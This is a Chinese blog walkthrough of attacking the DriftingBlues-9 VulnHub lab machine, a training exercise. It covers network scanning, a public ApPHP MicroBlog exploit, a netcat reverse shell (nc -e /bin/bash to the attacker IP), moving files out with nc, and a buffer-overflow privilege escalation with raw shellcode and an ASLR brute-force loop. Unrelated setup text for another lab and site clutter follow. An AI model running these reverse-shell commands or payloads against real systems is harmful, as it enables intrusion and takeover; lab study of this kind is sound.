对DriftingBlues-9靶机进行渗透测试

目录

环境信息

渗透测试

一、 信息收集

1、打开kali,查看kali的IP地址和子网掩码

2、使用netdiscover扫描主机

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

4、访问网页,查看基本信息

二、 漏洞查找与利用

1、利用网站系统版本漏洞获取 webshell

2、反弹shell,切换用户,获得flag1

三、缓冲区溢出提权

1、把 input文件传输到本地kali中

2、本地进行提权

3、靶机进行提权,获得root权限

参考文章


环境信息

靶机:DriftingBlues-9,IP地址:192.168.52.158

攻击机:Kali,IP地址:192.168.52.134

下载: https://download.vulnhub.com/driftingblues/driftingblues9.ova

渗透测试

一、 信息收集

1、打开kali,查看kali的IP地址和子网掩码

因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段

靶机的网段是:192.168.52.0/24

2、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

 或使用arp-scan -l命令拿到靶机的IP地址

arp-scan -l

 获得靶机靶机ip:192.168.52.158

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.158
-sV只扫描端口及其版本号
-A扫描端口的详细信息

目标靶机开放了80(HTTP服务)和111(自定义服务)

4、访问网页,查看基本信息

使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

没有检测到CMS信息

查看源码,发现一信息:ApPHP MicroBlog v.1.0.1

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.158 -e * -i 200
-i 状态码    只显示该状态码
-x 状态码    不显示该状态码

目录扫描得到一些目录,逐一查看,没有多余的可利用信息

二、 漏洞查找与利用

1、利用网站系统版本漏洞获取 webshell

kali本地搜索一下漏洞库:searchsploit ApPHP MicroBlog

该站版本为1.0.1,所以可以利用网站系统版本漏洞,将脚本复制到当前目录

searchsploit -m php/webapps/33070.py

查看一下脚本内容

运行程序:python2 33070.py http://192.168.52.158

成功拿到shell,并且展示出数据库配置文件:用户名:clapton,密码:yaraklitepe

2、反弹shell,切换用户,获得flag1

这种shell利用起来不太方便,所以可以查看目标主机是否存在nc,如果存在可以反弹一个新的shell

目标主机存在nc,首先kali进行监听

nc -lvvp 4444

然后目标主机执行反弹shell的命令:

nc -e /bin/bash 192.168.52.134 4444

反弹shell成功:

 利用python获得交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

 查看一下home目录,发现用户名与数据库用户名一致,但是22端口没有开放

 尝试切换用户:clapton / yaraklitepe

 成功切换后,在/home/clapton目录下拿到flag1

同时在当前目录发现note.txt,查看内容发现相关提示

 提示内容为:缓冲区溢出

三、缓冲区溢出提权

1、把 input文件传输到本地kali中

查看当前目录下文件:

 把 input文件传输到本地kali中:

方法一:靶机使用 python2 开启一个简易 http 服务

python2 -m SimpleHTTPServer

 kali使用wget命令下载:wget http://192.168.52.158:8000/input

方法二:利用工具nc传输文件

NC:NETCAT是kali中自带的一款功能强大的工具,我们可以通过它来文件传输。

首先在本地开启监听,并将接收的内容保存为input:

nc -lvvp 9999 > input

然后在靶机中将目标文件传至kali:

nc -w 3 192.168.52.134 9999 < /home/clapton/input
-w 超时时间     ##如果连接或输入停顿时间超过超时时间就关闭连接。

超时时间就关闭连接。

传输完毕后在kali中可以找到该文件:

2、本地进行提权

为input 文件并赋权,然后检查一下input文件有没有防护措施:

chmod +x input 
checksec --file=input

发现没有,先禁用 ASLR( Address Space Layout Randomization,地址空间布局随机化),然后在 gdb 中加载二进制文件:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
      ## 0:没有随机化。即关闭 ASLR。
      ## 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
      ## 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
      ## tee:用于显示程序的输出并将其复制到一个文件中。
gdb -q input

 然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

 find  / -name pattern_create.rb
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000

将生成的字符串用命令 r 在 gdb 中运行二进制文件:

在 0x41376641 处得到了错误,计算一下偏移量:

./pattern_offset.rb -q 0x41376641

计算出偏移量是 171,用 python 构造字符串:

r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')

 查看ESP寄存器的值:x/s $esp

 用esp寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

注:大字节序和小字节序是数据存储规则。小字节序是高位数据存储在内存高位地址,低位数据存储在低位地址;大字节序是高位数据存储在内存低位地址,低位数据存储在高位地址。

 本地运行成功。

3、靶机进行提权,获得root权限

靶机上运行,查看 ESP 寄存器的值:

gdb -q input
r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')
x/s $esp

 因为靶机启用了 ASLR,没有权限关闭,所以写个循环:

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x80\x28\x96\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

 得到了 root 权限,查看 flag:

 完成

参考文章

Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL):

https://www.cnblogs.com/sainet/p/15789449.html

靶机渗透练习08-driftingblues9:

靶机渗透练习08-driftingblues9_hirak0的博客-CSDN博客

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了安装Lampiao靶机,您可以按照以下步骤进行操作: 1. 首先,您需要准备一个基于Linux的操作系统,比如Ubuntu或者Kali Linux。 2. 在您选择的操作系统上安装Apache服务器、MySQL数据库和PHP解释器,这就是所谓的LAMP堆栈。 - 对于Ubuntu,您可以使用以下命令安装LAMP堆栈: ``` sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql ``` - 对于Kali Linux,您可以使用以下命令安装LAMP堆栈: ``` sudo apt update sudo apt install apache2 mariadb-server php libapache2-mod-php php-mysql ``` 3. 安装完成后,您需要下载Lampiao靶机的源代码。您可以在Lampiao的GitHub存储库上找到源代码:https://github.com/felipefacundes/lampiao 4. 解压下载的源代码包,并将其复制到Apache服务器的网页根目录下,默认情况下是`/var/www/html/`。 5. 接下来,您需要创建一个MySQL数据库并导入Lampiao的数据。进入MySQL命令行界面并执行以下命令: - 创建数据库: ``` CREATE DATABASE lampiao; ``` - 导入数据: ``` USE lampiao; SOURCE /path/to/lampiao.sql; ``` 将`/path/to/lampiao.sql`替换为实际的lampiao.sql文件路径。 6. 配置Lampiao的数据库连接。编辑Lampiao源代码中的`config.php`文件,并根据您的MySQL配置进行相应的更改。 7. 最后,启动Apache服务器并访问Lampiao靶机。在浏览器中输入服务器的IP地址或域名,您应该能够看到Lampiao的登录页面。 请注意,Lampiao是一个漏洞靶场,仅供学习和研究目的使用。在安装和使用Lampiao时,请确保您遵守当地法律和道德准则。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值